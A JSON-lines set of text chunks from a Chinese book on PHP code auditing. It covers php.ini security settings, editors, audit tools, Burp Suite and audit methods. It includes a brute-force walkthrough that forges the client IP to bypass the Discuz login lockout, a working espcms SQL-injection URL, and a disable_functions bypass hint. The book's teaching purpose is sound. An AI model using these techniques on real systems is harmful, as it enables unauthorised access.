    {"text": "图 1-8 4.magic_quotes_runtime（魔术引号自动过滤） magic_quotes_runtime也是自动在单引号（'）、双引号（\"）、反斜杠（\\）及空字符（NULL）的前面加上反斜杠（\\）。 它跟magic_quotes_gpc的区别是，处理的对象不一样，magic_quotes_runtime只对从数据库或者文件中获取的数据进行过滤，它的作用也非常大，因为很多程序员只对外部输入的数据进行过滤，却没有想过从数据库获取的数据同样也会有特殊字符存在，所以攻击者的做法是先将攻击代码写入数据库，在程序读取、使用到被污染的数据后即可触发攻击。"},
    {"text": "有一个点要记住，只有部分函数受它的影响，所以在某些情况下这个配置是可以绕过的，受影响的列表包括get_meta_tags（）、file_get_contents（）、file（）、fgets（）、fwrite（）、fread（）、fputcsv（）、stream_socket_recvfrom（）、exec（）、system（）、passthru（）、stream_get_contents（）、bzread（）、gzfile（）、gzgets（）、gzwrite（）、gzread（）、exif_read_data（）、dba_insert（）、dba_replace（）、dba_fetch（）、ibase_fetch_row（）、ibase_fetch_assoc（）、ibase_fetch_object（）、mssql_fetch_row（）、mssql_fetch_object（）、mssql_fetch_array（）、mssql_fetch_assoc（）、mysqli_fetch_row（）、mysqli_fetch_array（）、mysqli_fetch_assoc（）、mysqli_fetch_object（）、pg_fetch_row（）、pg_fetch_assoc（）、pg_fetch_array（）、pg_fetch_object（）、pg_fetch_all（）、pg_select（）、sybase_fetch_object（）、sybase_fetch_array（）、sybase_fetch_assoc（）、SplFileObject：：fgets（）、SplFileObject：：fgetcsv（）、SplFileObject：：fwrite（）。"},
    {"text": "5.magic_quotes_sybase（魔术引号自动过滤） magic_quotes_sybase指令用于自动过滤特殊字符，当设置为on时，它会覆盖掉magic_quotes_gpc=on的配置，也就是说，即使配置了gpc=on也是没有效果的。"},
    {"text": "图 1-10 6.safe_mode（安全模式） 安全模式是PHP内嵌的一种安全机制，当safe_mode=on时，联动可以配置的指令有safe_mode_include_dir、safe_mode_exec_dir、safe_mode_allowed_env_vars、safe_mode_protected_env_vars。 safe_mode指令的配置范围为PHP_INI_SYSTEM，PHP 5.4之后被取消。"},
    {"text": "例如，文件a.php和文件c.txt的文件所有者是用户a，文件b.txt的所有者是用户b并且与文件a.php不在属于同一个用户的文件夹中，当启用了安全模式时，使用a用户执行a.php，删除文件c.txt可成功删除，但是删除文件b.php会失败。"},
    {"text": "对文件操作的include等函数也一样，如果有一些脚本文件放在非Web服务启动用户所有的目录下，需要利用include等函数来加载一些类或函数，可以使用safe_mode_include_dir指令来配置可以包含的路径。"},
    {"text": "下面是启用safe_mode指令时受影响的函数、变量及配置指令的完整列表： apache_request_headers（）、ackticks（）、hdir（）、hgrp（）、chmode（）、chown（）、copy（）、dbase_open（）、dbmopen（）、dl（）、exec（）、filepro（）、filepro_retrieve（）、ilepro_rowcount（）、fopen（）、header（）、highlight_file（）、ifx_*、ingres_*、link（）、mail（）、max_execution_time（）、mkdir（）、move_uploaded_file（）、mysql_*、parse_ini_file（）、passthru（）、pg_lo_import（）、popen（）、posix_mkfifo（）、putenv（）、rename（）、zmdir（）、set_time_limit（）、shell_exec（）、show_source（）、symlink（）、system（）、touch（）。"},
    {"text": "图 1-11 7.open_basedir PHP可访问目录 open_basedir指令用来限制PHP只能访问哪些目录，通常我们只需要设置Web文件目录即可，如果需要加载外部脚本，也需要把脚本所在目录路径加入到open_basedir指令中，多个目录以分号（；"},
    {"text": "8.disable_functions（禁用函数） 在正式的生产环境中，为了更安全地运行PHP，也可以使用disable_functions指令来禁止一些敏感函数的使用。 当你想用本指令禁止一些危险函数时，切记要把dl（）函数也加到禁止列表，因为攻击者可以利用dl（）函数来加载自定义的PHP扩展以突破disable_functions指令的限制。"},
    {"text": "9.display_errors和error_reporting错误显示 display_errors表明是否显示PHP脚本内部错误的选项，在调试PHP的时候，通常都把PHP错误显示打开，但是在生产环境中，建议关闭PHP错误回显，即设置display_errors=off，以避免带来一些安全隐患。 在设置display_errors=on时，还可以配置的一个指令是error_reporting，这个选项用来配置错误显示的级别，可使用数字也可使用内置常量配置，数字格式与常量格式的详细信息如表1-2所示。"},
    {"text": "第2章 审计辅助与漏洞验证工具 在代码审计和开发中，我们都需要一些代码编辑器来编辑代码，或者调试代码，也需要一些工具来验证漏洞是否存在。而各个编辑器也有所差异，所谓宝刀配英雄，使用一款好的编辑器能帮助你所向披靡，更简单轻松地写代码。而对于审计师来说；代码审计软件也是如此，一款好的代码审计工具可以使审计师在短时间内快速发现代码问题。本章将详细介绍几款常用的代码编辑器和代码审计软件以及一些常用的漏洞验证辅助工具。"},
    {"text": "2.1 代码编辑器 不管是做开发还是代码审计，一款顺手的代码编辑器必不可少，代码编辑器从轻量级到功能复杂强大的完备型，从免费到商业，都有很多款供我们选择，我们可以根据需要选择最适合的一款，常用的轻量级代码编辑器有Nodepad++、Editplus、UltraEdit、PSPad、Vim、Gedit，等等，这些都是都是通用型文本编辑器，支持多种编程语言代码高亮，优点是操作简单，启动快并且对文本操作很方便。 常用的完备型PHP开发软件也不少，这类编辑器主要的优点是功能全，对代码调试、代码提示等都支持得比较好，使我们在开发的时候bug更少，开发效率更高，常用的有Zend Studio、PhpStorm、PhpDesigner以及NetBeans等。 如果你用编辑器来做开发，并且代码量比较大，建议你使用Zend Studio。 如果用来做代码审计或者少量代码的开发，建议使用Nodepad++这类轻量级文本编辑器。"},
    {"text": "2.1.1 Notepad++ Notepad++是一套非常有特色的开源纯文字编辑器（许可证：GPL），运行于Windows系统，有完整的中文接口及支持多国语言撰写的功能（UTF8技术）。 它的功能比Windows中的Notepad（记事本）强大，除了可以用来编辑一般的纯文字文件之外，也十分适合轻量开发的编辑器。 Notepad++不仅有语法高亮显示功能，也有语法折叠功能，并且支持宏以及扩充基本功能的外挂模组。 Notepad++可以安装免费使用。"},
    {"text": "支持如下语言的代码高亮显示：C、C++、Java、C#、XML、HTML、PHP、ASP、AutoIt、DOS批处理、CSS、ActionScript、Fortran、Gui4Cli、Haskell、JSP、Lisp、Lua、Matlab、NSIS、Objective-C、Pascal、Python、JavaScript等。"},
    {"text": "Notepad++拥有非常多强大的功能，特别是对文本操作非常灵活，这是笔者用得最多的一个文本编辑器，经常用来做一些有特定格式的文本批量替换、搜索、去重，等等。"},
    {"text": "下面简单介绍下它的核心功能： 1）内置支持多达27种语法高亮显示（包括各种常见的源代码、脚本，能够很好地支持.nfo文件查看），还支持自定义语言。"},
    {"text": "2.1.2 UltraEdit UltraEdit（官网 www.ultraedit.com ）是一款功能强大的文本编辑器，不过它不是开源软件，官网售价79.95美元，可以完美运行在Windows、Linux以及Mac系统上。"},
    {"text": "图 2-1 图 2-2 该编辑器支持将近二十种编程语言的语法高亮显示，可同时编辑多个文件，支持打开超过4GB以上的文件，支持多种编码转换、排序去重。"},
    {"text": "要实现这个功能，首先在“高级→工具栏配置”中配置一些执行环境参数，在“命令行”的位置填入你的PHP文件路径，在“菜单项目名称”上写你想填的菜单栏名称，这里写的是php.exe，在“工作目录”中写上你的PHP exe路径，然后点击“确定”按钮，即可新建一个文件。 在“高级”菜单里面点一下添加的php.exe（菜单栏名称）即可执行代码，如图2-3所示。"},
    {"text": "这个功能也是经常会用到的，特别是我们在分析开源程序发布的官方补丁时，比如Phpcms某天发布了一个代码执行漏洞修补补丁，那么我们就可以在官网下载补丁文件，然后利用UltraEdit的文件对比功能来快速找到修改了哪段代码，修改的部分是不是成功修补了这个漏洞，或者未公开的漏洞。"},
    {"text": "这个功能可以在菜单栏“文件→比较文件”中找到，然后选择要对比的两个以上文件，勾选“比较选项”里面以忽略开头的所有选项，点击“比较”按钮即可，如图2-4所示。"},
    {"text": "图 2-4 图 2-5 2.1.3 Zend Studio Zend Studio与PHP出自同一家公司，也可以说Zend Studio是PHP官方专门开发出来用来编写PHP代码的代码编辑器。 Zend Studio是目前用户量最大的PHP开发工具，也是屡获大奖的专业PHP集成开发环境，具备功能强大的专业编辑工具和调试工具，支持PHP语法高亮显示，支持语法自动填充功能，支持书签功能，支持语法自动缩排和代码复制功能，内置一个强大的PHP代码调试工具，支持本地和远程两种调试模式，支持多种高级调试功能，可以完美运行在目前主流的Windows、Linux以及Mac操作系统上。"},
    {"text": "图 2-6 Zend Studio最令笔者最喜欢的功能是代码提示功能，实际上，只要这个功能做得好的编辑器，笔者都非常喜欢，因为这非常人性化，可以让我们不用去记那么多函数，等你经常用的编程语言超过了6种以上，你就会深有感触。"},
    {"text": "图 2-7 另外Zend Studio在代码调试方面也非常强大，支持多种调试模式，利用它的调试功能，可以让我们非常快地发现bug位置，监控数据传递过程和函数运行情况，如图2-8所示。"},
    {"text": "2.2 代码审计工具 代码审计工具是一类辅助我们做白盒测试的程序，它可以分很多类，例如安全性审计以及代码规范性审计，等等。当然，也可以按它能审计的编程语言分类，目前商业性的审计软件大多支持多种编程语言，也有个人或团队开发的免费开源审计软件，像笔者的“Seay源代码审计系统”就是开源程序。使用一款好的代码审计软件可以极大地降低审计成本，可以帮助审计师快速发现问题所在，同时也能降低审计门槛，但也不能过分依赖审计软件。目前常用的代码安全审计软件还有Fortify SCA、RIPS、FindBugs、Codescan等。下面介绍几款常用代码安全审计工具。 2.2.1 Seay源代码审计系统 这是笔者基于C#语言开发的一款针对PHP代码安全性审计的系统，主要运行于Windows系统上。这款软件能够发现SQL注入、代码执行、命令执行、文件包含、文件上传、绕过转义防护、拒绝服务、XSS跨站、信息泄露、任意URL跳转等漏洞，基本上覆盖常见PHP漏洞。另外，在功能上，它支持一键审计、代码调试、函数定位、插件扩展、自定义规则配置、代码高亮、编码调试转换、数据库执行监控等数十项强大功能。主界面如图2-9所示。 图 2-9 Seay源代码审计系统主要特点如下： 1）一键自动化白盒审计，新建项目后，在菜单栏中打开“自动审计”即可看到自动审计界面。点击“开始”按钮即可开始自动化审计。当发现可疑漏洞后，则会在下方列表框显示漏洞信息，双击漏洞项即可打开文件跳转到漏洞代码行并高亮显示漏洞代码行，如图2-10所示。 图 2-10 2）代码调试，代码调试功能极大地方便了审计师在审计过程中测试代码。可以在编辑器中选中代码，然后点击右键选择“调试选中”即可将代码在调试界面打开，如图2-11所示。 3）正则编码，Seay源代码审计系统集成了实时正则调试功能，考虑到特殊字符无法直接在编辑框进行输入，在实时正则调试功能中还支持对字符串实时解码后调试。另外，支持MD5、URl、Base64、Hex、ASCII、Unicode等多种编码解码转换功能，如图2-12所示。 4）自定义插件及规则，Seay源代码审计系统支持插件扩展，并且插件的开发非常简单，只需要将插件的dll文件放入到安装目录下的plugins文件夹内即可自动加载插件。目前自带插件包括黑盒+白盒的信息泄露审计以及MySQL数据库执行监控。 图 2-11 图 2-12 除了上述功能外，它还支持自定义审计规则，在规则配置界面中即可添加或修改以及禁用、删除规则，还可针对审计过程做很多审计习惯优化，使得程序简单容易上手。 2.2.2 Fortify SCA Fortify SCA是由惠普研发的一款商业软件产品，针对源代码进行专业的白盒安全审计，当然，它是收费的，而且这种商业软件一般都价格不菲。它有Windows、Linux、UNIX以及Mac版本，通过内置的五大主要分析引擎（数据流、控制流、语义、结构以及配置）对应用软件的源代码进行静态分析。关于这五大分析引擎的介绍如表2-1所示。 表2-1 五大分析引擎概述 Fortify SCA是目前支持最多编程语言的审计软件。它支持的编程语言如下所示： ASP.NET VB6 VB.NET Java C#.NET JSP ASP JavaScript VBScript HTML Action Script XML Objective-C C/C++ ColdFusion 5.0 PHP Python T-SQL（MSSQL） COBOL PL/SQL（Oracle） SAP-ABAP 分析的过程中与它特有的软件安全漏洞规则集进行全面的匹配、搜索，在最终的漏洞结果中，包括详细的漏洞信息，以及漏洞相关的安全知识说明和修复意见。 2.2.3 RIPS RIPS是一款基于PHP开发的针对PHP代码安全审计的软件。另外，它也是一款开源软件，由国外安全研究员Johannes Dahse开发，程序只有450KB，目前能下载到的最新版是0.54，笔者发现这款程序在2013年2月已经暂停更新。在写这段文字之前笔者特意读过它的源码，它最大的亮点在于调用了PHP内置解析器接口token_get_all，并且使用Parser做了语法分析，实现了跨文件的变量及函数追踪，扫描结果中非常直观地展示了漏洞形成及变量传递过程，误报率非常低。RIPS能够发现SQL注入、XSS跨站、文件包含、代码执行、文件读取等多种漏洞，支持多种样式的代码高亮。比较有意思的是，它还支持自动生成漏洞利用。 图2-13为RIPS截图。 图 2-13 RIPS的使用非常简单，只需在主界面填入我们要扫描的路径，其余配置可根据自己的需要设置。完成设置后点击scan按钮即可开始自动审计。扫描结束后，程序会显示漏洞数量、漏洞比例等信息。查看漏洞详情时，只需点击提示漏洞处的“-”即可显示漏洞源代码和变量过程，如图2-14所示。 笔者通过RIPS发现ecshop文件包含漏洞，图2-15所示为RIPS漏洞扫描详细结果。 代码查看也非常方便，只需要点击“review code”即可跳转到漏洞代码处，将鼠标指针悬浮在变量上，同文件的变量会高亮显示，如图2-16所示。 图 2-14 图 2-15 图 2-16"},
    {"text": "2.3 漏洞验证辅助 不管是借助代码审计工具还是读PHP文件发现的漏洞，我们都需要验证漏洞是否真实可用。 这就需要借助一些工具来帮助我们快速测试漏洞，或者在某些情况下，比如部分代码不可读时，我们可以在不继续往下读代码的情况下测试漏洞，做基于模糊测试的漏洞验证。"},
    {"text": "Burp Suite主要分为Proxy、Spider、Scanner、Intruder、Repeater、Sequencer、Decoder和Comparer几个大模块。 下面简单介绍下各个模块： ·Proxy（代理）Burp Suite的代理抓包功能是这款软件的核心功能，当然也是使用最多的功能。"},
    {"text": "·Spider（蜘蛛）用来分析网站目录结构，爬行速度非常不错，爬行结果会显示在Target模块中，支持自定义登录表单，让它自动提交数据包进行登录验证。"},
    {"text": "它最强大的地方在于高度兼容的自定义测试用例，通过Proxy功能抓取的数据包可以直接发送到Intruder，设置好测试参数和字典、线程等，即可开始漏洞测试。"},
    {"text": "·Repeater（中继器）用于数据修改测试，通常在测试一些像支付等逻辑漏洞的时候经常需要用到它，只需要设置好代理拦截数据包，然后发送到Repeater模块即可对数据随意修改之后再发送。"},
    {"text": "·Comparer（比较器）用于比较两个对象之间的差异性，支持text和hex形式的对比，通常用来比较两个request或者response数据包之间不同的地方，功能类似于网上常见的文本或者文件对比软件。"},
    {"text": "注意，Discuz登录是有登录验证限制的，每个IP只有5次登录失败的尝试机会。 我们利用Burp Suite绕过这个登录限制进行密码爆破，绕过原理是，由于Discuz采用的是HTTP_CLIENT_IP的方式来获取IP，而这个值可以在发送请求时伪造，于是我们可以利用Burp Suite来伪造这个登录IP绕过错误次数限制。 图 2-19 首先，按上面的介绍设置好代理抓包，在浏览器中打开Discuz后台登录页面，在账号及密码输入框输入任意字符，点击“提交”按钮，回到Burp Suite，将抓到的数据项发送到Intruder。"},
    {"text": "接下来就需要设置payload了，点击菜单栏的Payloads，为Payload set下拉框里面的第1、2、3、4个选项设置一样的Numbers payload，包括其他参数设置的最终界面如图2-21所示。 设置Payload set为5的Payload type为simple list，并且点击下面的Load按钮载入你的密码字典，然后我们的所有配置就完成了。"},
    {"text": "首先设置好proxy，然后通过浏览器触发请求查看Burp Suite捕捉到的数据包，在“http history”里选中监听到的数据包项，右键发送到Repeater。 接着我们就可以对请求数据做任意修改了，修改完成后点击Go按钮即可发送数据包，如图2-23所示。"},
    {"text": "2.3.2 浏览器扩展 说到浏览器扩展，肯定要先说一下浏览器。 通常优先选择的是Firefox，再就是Chrome浏览器，原因很简单，Firefox的扩展是目前浏览器里面最多的，也许是因为Firefox开源的原因，喜欢鼓捣它的人也就多了，自然而然各种插件和扩展也多了。 另外不少扩展是专门做安全测试使用的，常用的像HackBar、FireBug、Live HTTP Headers、Modify以及Tamper Data，等等，稍后会详细介绍这几款扩展。 同时，Chrome浏览器的扩展也非常多，不过方便用来做安全测试的比Firefox少，常用的有Http Headers、EditThisCookie、ModHeader等。 其次就是一些扩展更少的浏览器，这里就不详细列举，不过建议常见内核的浏览器都应该安装一款，笔者电脑上就一直装着4款浏览器。"},
    {"text": "图 2-24 2.Firebug Firebug是一款开发者工具，功能与火狐自带的开发者工具差不多，支持直接对网页HTML、CSS等元素进行编辑，其中的“网络”功能可以直接嗅探Request和Response数据包。 通常在利用一些支付漏洞或者SQL注入漏洞的时候，我们只需要把鼠标指针定位到要修改的网页区域，右键点击“使用Firebug查看元素”即可对网页进行修改测试漏洞，Firebug的界面图如图2-25所示。"},
    {"text": "4.Modify Modify是一款火狐扩展工具，顾名思义，这是一款用来修改的扩展，Modify仅支持添加和修改Request中HTTP Header的字段，而且它是做全局修改，即开启Modify之后，它会把浏览器对任何网站的所有请求中对应字段进行修改。"},
    {"text": "下面就介绍它的使用方法，图2-27就是Modify的主界面。 图 2-27 使用非常简单，在图中Modify的下拉框中选择要执行的模式，有Modify、Add以及Filter，然后在后面的两个输入框输入参数名以及参数值，点击Save再点击左上角的Start按钮即可启动Modify。"},
    {"text": "图 2-28 2.3.3 编码转换及加解密工具 代码审计必然要接触到编码相关的知识，历史上很多高危的漏洞是由编码问题导致的，比如在XSS漏洞中可以利用浏览器对不同编码的支持来绕过过滤触发漏洞，另外我们也经常需要用到不同的编码转码来进行模糊测试漏洞。 另外是加解密以及Hash算法，在代码审计中，我们经常遇到程序对特定字符进行加密或者Hash后用作Cookie和Session，或者是用户密码的保存通常也会加密，所以我们必须要了解常用的加解密方式，在后面会详细列举常见加解密方式及原理，这里就不详细介绍。 下面笔者推荐几款编码转换和加解密的工具。 1.Seay代码审计系统自带的编码功能 主界面菜单栏点击“正则编码”即可打开该功能，目前支持Md5算法、URL、Base64、Hex、ASCII、Unicode多种常用编码方式转换。"},
    {"text": "图 2-29 2.Burp Suite上有一个Decoder功能 这个功能可对字符串进行编码和解码，支持百分号、Base64、ASCII等多种编码转换，还支持Md2、Md5、Sha系列等Hash算法。"},
    {"text": "图 2-30 3.超级加解密转换工具 另外介绍一个专门用来加解密的国产小工具，支持的算法比较多，独立的exe文件轻巧干净，在百度搜索“超级加解密转换工具”即可找到这款小软件，使用界面如图2-31所示。 图 2-31 加密： 使用的时候只要在软件右侧的“方法分类选择”中选择加密方式，在“明文”输入框中输入需要“加密”的字符串，点击“加密”即可在“密文”框中看到加密后的结果。 解密： 使用的时候只要在软件右侧的“方法分类选择”中选择解密方式，在“密文”输入框中输入需要解密的字符串，点击“解密”即可在“明文”框中看到解密后的结果。"},
    {"text": "正则表达式有非常强的灵活性，在很多不同的场景都会用到正则表达式，比如验证注册用户名、邮箱等格式是否合格，再比如用来搜索文件内容，很大一部分的WAF（Web应用防火墙）的规则也是基于正则表达式，等等，可谓无处不在，然而如果正则表达式写得不严谨，就经常会导致各种bug出现，像防火墙被绕过，等等。 首先要熟悉正则表达式的用法，熟悉各个符号的含义，这样我们才能写出严谨的正则表达式，才能在代码审计中发现别人正则表达式的问题所在。 笔者就不在这里详细的介绍正则表达式的详细用法，网上可以找到很多关于正则表达式的详细教程，这里仅介绍几个常用的正则表达式调试工具。 1.Seay代码审计系统中自带的正则调试功能 在Seay代码审计系统的菜单栏点击“正则编码”项，即可看到正则调试功能的主界面，它支持正则实时预览，即你在输入框修改正则表达式或者要匹配的源字符的时候，调试的结果会实时显示在下方的信息栏中，非常的直观和方便。"},
    {"text": "图 2-32 除了实时调试，它还支持实时解码调试，一些特殊字符我们无法在输入框输入，但是可以利用编码处理后输入，只要设置解码选项，程序在用正则匹配前会先将源字符进行指定的编码转换后在进入正则引擎匹配，目前支持URL编码、Base64编码以及Hex编码，使用效果如图2-33所示。"},
    {"text": "图 2-33 2.灵者正则调试 这是一款从RenGod（灵者更名）中提取出来的绿色版正则调试工具，单文件的大小只有400多K，支持正则搜索、正则替换，也同样支持实时预览，在正则性能上也做的相当不错。"},
    {"text": "这款工具使用起来也非常简单，比如正则搜索功能的使用，将要搜索的文本放入到“要搜索的文本”输入框中，在“正则表达式”输入框中输入正则表达式，即可实时的在下方看到匹配上的结果。"},
    {"text": "2.3.5 SQL执行监控工具 SQL执行监控可以非常高效地帮助我们发现一些SQL注入和XSS等问题，帮助我们非常方便地观察到数据在Web程序与数据库中的交互过程，在做模糊测试时，只需利用模拟测试工具爬取页面的URL及表单，提交特定的参数如带单引号（‘）等，通过分析SQL执行日志则可以非常准确地判断出SQL注入漏洞是否存在，同样的注入<>”等符合也可以用来测试XSS漏洞。 图 2-34 这里分别针对MySQL和MSSQL列举SQL执行监控的工具和使用方法，其中着重介绍MySQL的监控，因为PHP大多都是使用的MySQL作为存储。 针对MySQL的执行监控，笔者没有找到比较好的工具，于是在自己的代码审计系统上加入了这么一个插件，主要原理是开启MySQL的general_log来记录MySQL的历史执行语句，它有两种记录方式，默认是通过记录到文件方式，另外一种是通过直接记录到MySQL库的general_log表中，为了更方便地查询，我选择的是记录到MySQL数据库的方式。 另外这个功能的开启方式也有两种，一种是直接用MySQL的SQL语句开启，SQL语句如下： set global general_log=on ； SET GLOBAL log_output='table' ；"},
    {"text": "只要点击下断，操作完之后点击更新即可看到这段时间内在MySQL执行过的所有SQL语句，主界面如图2-36所示。 图 2-35 图 2-36 另外一种开启方法是在MySQL配置文件中修改，在[mysqld]配置中加入如下代码： general_log=ON general_log_file={ 日志路径 }/query.log 重启MySQL后可以看到所有的SQL查询语句都会记录在设置的这个文件中。"},
    {"text": "SQL Server执行监控也很简单，在SQL Server上自带有一个性能监控的工具SQL Server Profiler，在开始菜单里可以找到它，使用SQL Server Profiler可以将SQL执行过程保存到文件和数据库表，同时它还支持实时查看和搜索。"},
    {"text": "下面我们来看看怎么使用它，打开SQL Server Profiler后，在左上角的菜单栏里选择“文件→新建跟踪”，在常规栏输入跟踪名（随意）后，点击“事件选择”标签，我们只需要SQL执行过程，所以要过滤掉一些干扰的东西，比如登录、退出等，在事件选择里只保留TSQL下面的SQL：BatchCompleted事件，然后点击“运行”，如图2-37所示。"},
    {"text": "图 2-37 运行后监控的到SQL语句如图2-38所示。 图 2-38 从图中监控结果可以非常清楚第看到之前执行的SQL语句以及开始执行时间、结束时间。"},
    {"text": "第二部分 漏洞发现与防范 第二部分包括第3~8章一共六章，将着重介绍PHP代码审计的中漏洞挖掘思路与防范方法。 其中第3章详细介绍PHP代码审计的思路，包括根据关键字回溯参数、通读全文代码以及根据功能点定向挖掘漏洞的三个思路。 第4~6章介绍常见漏洞的审计方法，共分为基础篇、进阶篇以及深入篇，涵盖SQL注入漏洞、XSS漏洞、文件操作漏洞、代码/命令执行漏洞、变量覆盖漏洞以及逻辑处理等漏洞。 第7章介绍二次漏洞的挖掘方法，二次漏洞在逻辑上比常规漏洞要复杂，所以我们需要单独拿出来以实例来进行介绍。 在经过前面几章的代码审计方法学习之后，相信大家已经能够挖掘不少有意思的漏洞，在第8章，将会介绍更多代码审计中的小技巧，利用这些小技巧可以挖掘到更多有意思的漏洞。 每类漏洞都有多个真实漏洞案例的分析过程，可以真正帮助大家学习代码审计的经验，不过这些内容不仅仅是介绍了漏洞的挖掘方法，还详细介绍了这些漏洞的修复方法，对开发者来说是非常有用的一部分内容。 第3章 通用代码审计思路 代码审计工具的实现都是基于代码审计经验开发出来的优化工作效率的工具，我们要学好代码审计就必须要熟悉代码审计的思路，只有在了解了这些思路之后，我们才知道如何下手，如何最高效地挖掘到最有质量的漏洞，常见的代码审计思路有以下四种： 1）根据敏感关键字回溯参数传递过程。 2）查找可控变量，正向追踪变量传递过程。 3）寻找敏感功能点，通读功能点代码。 4）直接通读全文代码。 下面我们就来看看这几种代码审计思路在实际场景中的应用。"},
    {"text": "3.1 敏感函数回溯参数过程 根据敏感函数来逆向追踪参数的传递过程，是目前使用得最多的一种方式，因为大多数漏洞是由于函数的使用不当造成的。另外非函数使用不当的漏洞，如SQL注入，也有一些特征，比如Select、Insert等，再结合From和Where等关键字，我们就可以判断这是否是一条SQL语句，通过对字符串的识别分析，就能判断这个SQL语句里面的参数有没有使用单引号过滤，或者根据我们的经验来判断。像HTTP头里面的HTTP_CLIENT_IP和HTTP_X_FORWORDFOR等获取到的IP地址经常没有安全过滤就直接拼接到SQL语句中，并且由于它们是在$_SERVER变量中不受GPC的影响，那我们就可以去查找HTTP_CLIENT_IP和HTTP_X_FORWORDFOR关键字来快速寻找漏洞。 这种方式的优点是只需搜索相应敏感关键字，即可以快速地挖掘想要的漏洞，具有可定向挖掘和高效、高质量的优点。 其缺点为由于没有通读代码，对程序的整体框架了解不够深入，在挖掘漏洞时定位利用点会花费一点时间，另外对逻辑漏洞挖掘覆盖不到。 espcms注入挖掘案例 我们来举一个根据关键字回溯的例子，用PHP程序espcms举例，使用Seay源代码审计系统做演示，首先载入程序，然后点击自动审计，得到一部分可能存在漏洞的代码列表，如图3-1所示。 图 3-1 我们挑其中的一条代码，如图3-2所示。 图 3-2 双击该项直接定位到这行代码，如图3-3所示。 在选中该变量后，在下方可以看到该变量的传递过程，并且点击下方的变量传递过程也可以直接跳转到该项代码处，可以非常直观地帮助我们看清整个变量在该文件的传递过程。另外我们可以看到$parentid变量是在如下代码段获得的： $parentid = $this->fun->accept （ 'parentid' ， 'R' ）； 图 3-3 右键选中该代码定位该函数主体，如图3-4所示。 图 3-4 可以看到跳转到了class_function.php文件的314行，代码如下： function accept （ $k ， $var = 'R' ， $htmlcode = true ， $rehtml = false ） { switch （ $var ） { case 'G' ： $var = &$_GET ； break ； case 'P' ： $var = &$_POST ； break ； case 'C' ： $var = &$_COOKIE ； break ； case 'R' ： $var = &$_GET ； if （ empty （ $var[$k] ）） { $var = &$_POST ； } break ； } $putvalue = isset （ $var[$k] ）？ $this->daddslashes （ $var[$k] ， 0 ） ： NULL ； return $htmlcode ？（ $rehtml ？ $this->preg_htmldecode （ $putvalue ）： $this-> htmldecode （ $putvalue ））： $putvalue ； } 可以看到这是一个获取GET、POST、COOKIE参数值的函数，我们传入的变量是parentid和R，则代表在POST、GET中都可以获取parentid参数，最后经过了一个daddslashes（）函数，实际上是包装的addslashes（）函数，对单引号等字符进行过滤，不过注意看前面的SQL语句是这样的： $sql = \"select * from $db_table where parentid=$parentid\" ； 并不需要单引号来闭合，于是可以直接注入。 在citylist.php文件看到oncitylist（）函数在important类中，选中该类名右键点击“全局搜索”功能，如图3-5所示。 图 3-5 可以看到index.php文件有实例化该类，代码如下： $archive = indexget （ 'archive' ， 'R' ）； $archive = empty （ $archive ） ？ 'adminuser' ： $archive ； $action = indexget （ 'action' ， 'R' ）； $action = empty （ $action ） ？ 'login' ： $action ； include admin_ROOT . adminfile . \"/control/$archive.php\" ； $control = new important （）； $action = 'on' . $action ； if （ method_exists （ $control ， $action ）） { $control->$action （）； } else { exit （ ' 错误：系统方法错误！ ' ）； } 这里可以看到一个include文件的操作，可惜经过了addslashes（）函数无法进行截断使其包含任意文件，只能包含本地的PHP文件，如果你有MySQL的root权限，能导出文件到tmp目录，不能导出到Web目录，这种场景才用得到这个文件包含，再往下走就是实例化类并且调用函数的操作了，根据代码可以构造出利用EXP： http ： //127.0.0.1/espcms/adminsoft/index.php ？ archive=citylist&action=citylist&parentid=-1 union select 1 ， 2 ， user （）， 4 ， 5 漏洞截图如图3-6所示。 图 3-6 这个案例非常真实地演示了如何根据关键字回溯变量来进行代码审计。"},
    {"text": "3.2 通读全文代码 前面提到的根据敏感关键字来回溯传入的参数，是一种逆向追踪的思路，我们也提到了这种方式的优缺点，实际上在需要快速寻找漏洞的情况下用回溯参数的方式是非常有效的，但这种方式并不适合运用在企业中做安全运营时的场景，在企业中做自身产品的代码审计时，我们需要了解整个应用的业务逻辑，才能挖掘到更多更有价值的漏洞。"},
    {"text": "通读全文代码也有一定的技巧，并不是随便找文件逐个读完就可以了，这样你是很难真正读懂这套Web程序的，也很难理解代码的业务逻辑，首先我们要看程序的大体代码结构，如主目录有哪些文件，模块目录有哪些文件，插件目录有哪些文件，除了关注有哪些文件，还要注意文件的大小、创建时间。 我们根据这些文件的命名就可以大致知道这个程序实现了哪些功能，核心文件是哪些，discuz的程序主目录如图3-7所示。 图 3-7 在看程序目录结构的时候，我们要特别注意以下几个文件： 1）函数集文件，通常命名中包含functions或者common等关键字，这些文件里面是一些公共的函数，提供给其他文件统一调用，所以大多数文件都会在文件头部包含到其他文件。 寻找这些文件一个非常好用的技巧就是去打开index.php或者一些功能性文件，在头部一般都能找到。 2）配置文件，通常命名中包括config关键字，配置文件包括Web程序运行必须的功能性配置选项以及数据库等配置信息。 从这个文件中可以了解程序的小部分功能，另外看这个文件的时候注意观察配置文件中参数值是用单引号还是用双引号括起来，如果是双引号，则很可能会存在代码执行漏洞，例如下面Kuwebs的代码，只要我们在修改配置的时候利用PHP可变变量的特性即可执行代码。"},
    {"text": "php /* 网站基本信息配置 */ $kuWebsiteURL = \"http ： //www.kuwebs.com\" ； $kuWebsiteSupportEn = \"1\" ； $kuWebsiteSupportSimplifiedOrTraditional = \"0\" ； $kuWebsiteDefauleIndexLanguage = \"cn\" ； $kuWebsiteUploadFileMax = \"2\" ； $kuWebsiteAllowUploadFileFormat = \"swf|rar|jpg|zip|gif\" ； /* 邮件设置 */ $kuWebsiteMailType = \"1\" ； $kuWebsiteMailSmtpHost = \"smtp.qq.com\" ；"},
    {"text": "3）安全过滤文件，安全过滤文件对我们做代码审计至关重要，关系到我们挖掘到的可疑点能不能利用，通常命名中有filter、safe、check等关键字，这类文件主要是对参数进行过滤，比较常见的是针对SQL注入和XSS过滤，还有文件路径、执行的系统命令的参数，其他的则相对少见。"},
    {"text": "private static function _do_query_safe （ $sql ） { $sql = str_replace （ array （ '\\\\\\\\' ， '\\\\\\'' ， '\\\\\"' ， '\\'\\'' ）， '' ， $sql ）；"},
    {"text": "if （ strpos （ $sql ， '/' ） === false && strpos （ $sql ， '#' ） === false && strpos （ $sql ， '--' ） === false && strpos （ $sql ， '@' ） === false && strpos （ $sql ， '`' ） === false ） { $clean = preg_replace （ \"/' （ .+ ？"},
